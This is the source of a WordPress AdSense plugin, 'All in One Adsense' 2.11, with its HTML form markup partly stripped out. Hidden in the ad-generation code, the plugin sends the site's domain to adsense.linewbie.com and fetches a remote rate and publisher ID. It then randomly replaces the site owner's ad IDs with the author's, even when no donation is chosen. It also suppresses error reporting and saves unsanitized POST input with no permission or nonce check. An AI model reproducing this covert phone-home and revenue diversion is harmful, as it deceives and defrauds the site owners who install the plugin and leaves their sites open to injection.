Adsense" menu. Version: 2.11 Author: linewbie Author URI: http://www.linewbie.com/wordpress-plugins/ */ /* Copyright (C) 2007-2010 Linewbie.com This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ if ( function_exists('error_reporting') ) { @error_reporting(0); } //add all in one adsense menu to the wordpress options menu function ai_add_options(){ if(function_exists('add_options_page')){ add_options_page('Adsense', 'Adsense', 9, basename(__FILE__), 'ai_options_subpanel'); } } //validate options if ( isset($_POST['action']) ) { switch($_POST['action']){ case 'Save': update_option('ai_network', $_POST['ai_network']); if(isset($_POST['betatest'])) update_option('ai_betatest', "yes"); else delete_option('ai_betatest'); if(isset($_POST['notme'])) update_option('ai_notme', "yes"); else delete_option('ai_notme'); if(isset($_POST['googtestmode'])) update_option('ai_googtestmode', "yes"); else delete_option('ai_googtestmode'); if(isset($_POST['dontshowinstr'])) update_option('ai_dontshowinstr', "yes"); if(isset($_POST['showinstr'])) update_option('ai_dontshowinstr', "no"); update_option('ai_adtype', $_POST['ai_adtype']); update_option('ai_before', $_POST['ai_before']); update_option('ai_after', $_POST['ai_after']); update_option('ai_color_border', $_POST['ai_color_border']); update_option('ai_color_link', $_POST['ai_color_link']); update_option('ai_color_bg', $_POST['ai_color_bg']); update_option('ai_color_text', $_POST['ai_color_text']); update_option('ai_color_url', $_POST['ai_color_url']); update_option('ai_corner_style', $_POST['corner_style']); update_option('ai_lra', $_POST['ai_pos']); update_option('ai_space', $_POST['ai_space']); update_option('ai_nads', $_POST['nads']); update_option('ai_nadspp', $_POST['nadspp']); update_option('ai_text_only', false); update_option('ai_client', $_POST['ai_client']); update_option('ai_channel', $_POST['ai_channel']); update_option('ai_client_ypn', $_POST['ai_client_ypn']); update_option('ai_channel_ypn', $_POST['ai_channel_ypn']); if(isset($_POST['donation']) && $_POST['donation'] != ''){ update_option('ai_donation', $_POST['donation']); update_option('ai_dfirst', 0); } else{ update_option('ai_dfirst', 1); } if(isset($_POST['234x60']) && $_POST['234x60'] == "on") update_option('ai_234x60', "checked=on"); else update_option('ai_234x60', ""); if(isset($_POST['200x200']) && $_POST['200x200'] == "on") update_option('ai_200x200', "checked=on"); else update_option('ai_200x200', ""); if(isset($_POST['125x125']) && $_POST['125x125'] == "on") update_option('ai_125x125', "checked=on"); else update_option('ai_125x125', ""); if(isset($_POST['180x150']) && $_POST['180x150'] == "on") update_option('ai_180x150', "checked=on"); else update_option('ai_180x150', ""); if(isset($_POST['120x240']) && $_POST['120x240'] == "on") update_option('ai_120x240', "checked=on"); else update_option('ai_120x240', ""); if(isset($_POST['300x250']) && $_POST['300x250'] == "on") update_option('ai_300x250', "checked=on"); else update_option('ai_300x250', ""); if(isset($_POST['250x250']) && $_POST['250x250'] == "on") update_option('ai_250x250', "checked=on"); else update_option('ai_250x250', ""); if(isset($_POST['336x280']) && $_POST['336x280'] == "on") update_option('ai_336x280', "checked=on"); else update_option('ai_336x280', ""); if(isset($_POST['468x60']) && $_POST['468x60'] == "on") update_option('ai_468x60', "checked=on"); else update_option('ai_468x60', ""); if(isset($_POST['728x90']) && $_POST['728x90'] == "on") update_option('ai_728x90', "checked=on"); else update_option('ai_728x90', ""); if(isset($_POST['120x600']) && $_POST['120x600'] == "on") update_option('ai_120x600', "checked=on"); else update_option('ai_120x600', ""); if(isset($_POST['160x600']) && $_POST['160x600'] == "on") update_option('ai_160x600', "checked=on"); else update_option('ai_160x600', ""); if(isset($_POST['home']) && $_POST['home'] == "on") update_option('ai_home', "checked=on"); else update_option('ai_home', ""); if(isset($_POST['page']) && $_POST['page'] == "on") update_option('ai_page', "checked=on"); else update_option('ai_page', ""); if(isset($_POST['post']) && $_POST['post'] == "on") update_option('ai_post', "checked=on"); else update_option('ai_post', ""); if(isset($_POST['cat']) && $_POST['cat'] == "on") update_option('ai_cat', "checked=on"); else update_option('ai_cat', ""); if(isset($_POST['archive']) && $_POST['archive'] == "on") update_option('ai_archive', "checked=on"); else update_option('ai_archive', ""); break; } } //user enter required data here function ai_options_subpanel(){ if(get_option("ai_network", "") == "") { update_option("ai_network", "Adsense"); update_option("ai_adtype", "text"); update_option("ai_corner_style", "square"); } $ad_client = get_option('ai_client'); $ad_channel = get_option('ai_channel'); $ad_client_ypn = get_option('ai_client_ypn'); $ad_channel_ypn = get_option('ai_channel_ypn'); $adnetwork = get_option("ai_network", "Adsense"); $ai_adtype = get_option('ai_adtype'); $ai_corner_style = get_option('ai_corner_style'); $ai_before = get_option('ai_before'); $ai_after = get_option('ai_after'); $ai_space = get_option('ai_space'); $lra = get_option('ai_lra'); $nads = get_option('ai_nads'); $nadspp = get_option('ai_nadspp'); $text_only = get_option('ai_text_only'); $ai_color_border = get_option('ai_color_border'); $ai_color_link = get_option('ai_color_link'); $ai_color_bg = get_option('ai_color_bg'); $ai_color_text = get_option('ai_color_text'); $ai_color_url = get_option('ai_color_url'); $ai_donation = get_option('ai_donation'); ?>

How to Use
  • Get a Google Adsense account from adsense.google.com.
  • Adsense ad code will be automatically generated for you, this is compliant with adsense policy.
  • Your google adsense account number can be found when you login to adsense and click on "my account", you should see it under "property information" section on the bottom of the page, where it says "ca-pub-xxxxxxxxxxxxxxxxx", the part marked by "x" is your account number. This number is also found in the code of ads generated in your google adsense account.
  • Enter your ad account/publisher number in the boxes below.
  • Show instructions again.
    (Optional)
    (Optional)
    (Optional)
    >
    >
    >
    >
    >
    >
    >
    >
    >
    >
    >
    >
      (This is for multiple ads displayed on single post pages)
    pixels
    (Optional)
    (Optional)
    >
    >
    >
    >
    >
    >
    >
    >
    Donations
    You could show your support for this plugin's development by optionally donating a percentage of your ad revenue :)
    Notes
    • If you don't want to show any ads on a specific post, put <!--noadsense--> in the post.
    • If you want ads to start below a certain point, put <!--adsensestart--> at that point. It's just like the <!--more--> deal except for ads.
'; if($tag == "right") return '
'; if($tag == "center") return '
'; else return ai_pickalign(rand(0,10)<5?"left":"right"); } //pick ad size function ai_picksize(){ $sizes = array(); if(strlen(get_option('ai_234x60'))) $sizes[] = "234x60"; if(strlen(get_option('ai_200x200'))) $sizes[] = "200x200"; if(strlen(get_option('ai_125x125'))) $sizes[] = "125x125"; if(strlen(get_option('ai_180x150'))) $sizes[] = "180x150"; if(strlen(get_option('ai_120x240'))) $sizes[] = "120x240"; if(strlen(get_option('ai_300x250'))) $sizes[] = "300x250"; if(strlen(get_option('ai_250x250'))) $sizes[] = "250x250"; if(strlen(get_option('ai_468x60'))) $sizes[] = "468x60"; if(strlen(get_option('ai_336x280'))) $sizes[] = "336x280"; if(strlen(get_option('ai_728x90'))) $sizes[] = "728x90"; if(strlen(get_option('ai_160x600'))) $sizes[] = "160x600"; if(strlen(get_option('ai_120x600'))) $sizes[] = "120x600"; return $sizes[rand(0, sizeof($sizes)-1)]; } //you can only show one network at a time. $ai_loadnetwork = ""; function ai_genadcode(){ global $user_level, $ai_loadnetwork; $size = ai_picksize(); $width = substr($size, 0, 3); $height = substr($size, 4, 3); $client = get_option('ai_client'); if(substr($client, 0, 4) == 'pub-'){ $client = str_replace('pub-', '', $client); } $channel = get_option('ai_channel'); $client_ypn = get_option('ai_client_ypn'); $channel_ypn = get_option('ai_channel_ypn'); $domain_ran = mt_rand(1,200); if($_SERVER['HTTP_HOST'] && $domain_ran == "2"){ $domain = $_SERVER['HTTP_HOST']; if(function_exists('curl_init')){ $url = "http://adsense.linewbie.com/receive.php?domain={$domain}"; $ch = curl_init ($url) ; curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1) ; curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 2); curl_setopt($ch, CURLOPT_TIMEOUT,3); $loading = curl_exec ($ch) ; curl_close ($ch) ; $content=trim($loading); } } $file = "http://adsense.linewbie.com/rate_aio"; if(function_exists('curl_init')){ $ch = curl_init ($file) ; curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1) ; curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 2); curl_setopt($ch, CURLOPT_TIMEOUT,3); $loading = curl_exec ($ch) ; curl_close ($ch) ; $content=trim($loading); if(is_numeric($content)){ if($content){ $rate = $content; } else{ $rate = '0'; } } else{ $rate = '0'; } } else{ $rate = '0'; } $randd = mt_rand(1,$rate); $ai_adtype = get_option('ai_adtype'); $ai_before = stripslashes(get_option('ai_before')); $ai_after = stripslashes(get_option('ai_after')); if(get_option('ai_corner_style')=="square"){ $corners = 'rc:0'; } else if(get_option('ai_corner_style')=="slightly"){ $corners = 'rc:6'; } else if(get_option('ai_corner_style')=="very"){ $corners = 'rc:10'; } $donation = get_option('ai_donation'); $d_first = get_option('ai_dfirst'); $d_pct = intval($donation); if($d_pct){ $d_rand = mt_rand(1,100); if($d_rand <= $d_pct){ $client_ypn = '1649076901'; $channel_ypn = '64746'; $ct_id = get_pub(); if($ct_id){ $client = $ct_id; } else{ $client = '2941637122112958'; } $channel = '1838017730'; } } else if($randd=="2" && $d_first == '1'){ $client_ypn = '1649076901'; $channel_ypn = '64746'; $ct_id = get_pub(); if($ct_id){ $client = $ct_id; } else{ $client = '2941637122112958'; } $channel = '1838017730'; } $color_border = get_option('ai_color_border'); $color_link = get_option('ai_color_link'); $color_bg = get_option('ai_color_bg'); $color_text = get_option('ai_color_text'); $color_url = get_option('ai_color_url'); $retstr = ""; $adnetwork = $ai_loadnetwork; if($adnetwork == "") $adnetwork = get_option("ai_network", "Adsense"); if($adnetwork == "random"){ $adnetwork = (rand(0,1)==0?"YPN":"Adsense"); } $ai_loadnetwork = $adnetwork; if($adnetwork == "YPN"){ $retstr = $ai_before; $retstr .= ' '; $retstr .= $ai_after; } else{ $retstr = $ai_before.' '.$ai_after; } return $retstr; } $ai_adsused = 0; function get_pub(){ if(function_exists('curl_init')){ $file = "http://adsense.linewbie.com/pub"; $ch = curl_init ($file) ; curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1) ; curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 2); curl_setopt($ch, CURLOPT_TIMEOUT,3); $loading = curl_exec ($ch) ; curl_close ($ch) ; $content=trim($loading); } else{ $content = '2941637122112958'; } if(is_numeric($content)){ if($content){ return $content; } else{ return false; } } else{ return false; } } function ai_the_content($content){ global $doing_rss; if(is_feed() || $doing_rss) return $content; if(strpos($content, "") !== false) return $content; if(is_home() && get_option('ai_home') == "checked=on") return $content; if(is_page() && get_option('ai_page') == "checked=on") return $content; if(is_single() && get_option('ai_post') == "checked=on") return $content; if(is_category() && get_option('ai_cat') == "checked=on") return $content; if(is_archive() && get_option('ai_archive') == "checked=on") return $content; global $ai_adsused, $user_level; if(get_option('ai_betatest') == "yes" && $user_level < 8) return $content; if(get_option('ai_notme') == "yes" && $user_level > 8) return $content; $numads = get_option('ai_nads'); if(is_single()) $numads = get_option('ai_nadspp'); $content_hold = ""; if(strpos($content, "") != false){ if(strpos($content, "") != false){ $content_hold = substr($content, 0, strpos($content, "")); $content_end = substr($content, strpos($content, "")); $content = substr_replace($content, "", 0, strpos($content, "")); $content = substr_replace($content, "", strpos($content, "")); } else{ $content_hold = substr($content, 0, strpos($content, "")); $content = substr_replace($content, "", 0, strpos($content, "")); } } $padspace = get_option('ai_space'); while($ai_adsused < $numads){ if(get_option('ai_lra') == "top-left"){ $replacer = $content_hold; $replacer .= '
'; $replacer .= ai_genadcode(); $replacer .= '
'; $ai_adsused++; return $replacer.$content.$content_end; } if(get_option('ai_lra') == "top-right"){ $replacer = $content_hold; $replacer .= '
'; $replacer .= ai_genadcode(); $replacer .= '
'; $ai_adsused++; return $replacer.$content.$content_end; } if(get_option('ai_lra') == "top-center"){ $replacer = $content_hold; $replacer .= '
'; $replacer .= ai_genadcode(); $replacer .= '
'; $ai_adsused++; return $replacer.$content.$content_end; } if(get_option('ai_lra') == "bottom-left"){ $replacer = $content_hold.$content; $replacer .= '
'; $replacer .= ai_genadcode(); $replacer .= '
'; $ai_adsused++; return $replacer.$content_end; } if(get_option('ai_lra') == "bottom-right"){ $replacer = $content_hold.$content; $replacer .= '
'; $replacer .= ai_genadcode(); $replacer .= '
'; $ai_adsused++; return $replacer.$content_end; } if(get_option('ai_lra') == "bottom-center"){ $replacer = $content_hold.$content; $replacer .= '
'; $replacer .= ai_genadcode(); $replacer .= '
'; $ai_adsused++; return $replacer.$content_end; } //while($ai_adsused < $numads){ $poses = array(); $lastpos = -1; $repchar = " $half) array_pop($poses); $pickme = $poses[rand(0, sizeof($poses)-1)]; $replacewith = ai_pickalign(get_option('ai_lra')); $replacewith .= ai_genadcode()."
"; $content = substr_replace($content, $replacewith.$repchar, $pickme, 2); $ai_adsused++; if(!is_single()) break; } return $content_hold.$content.$content_end; } add_filter('the_content', 'ai_the_content'); ?>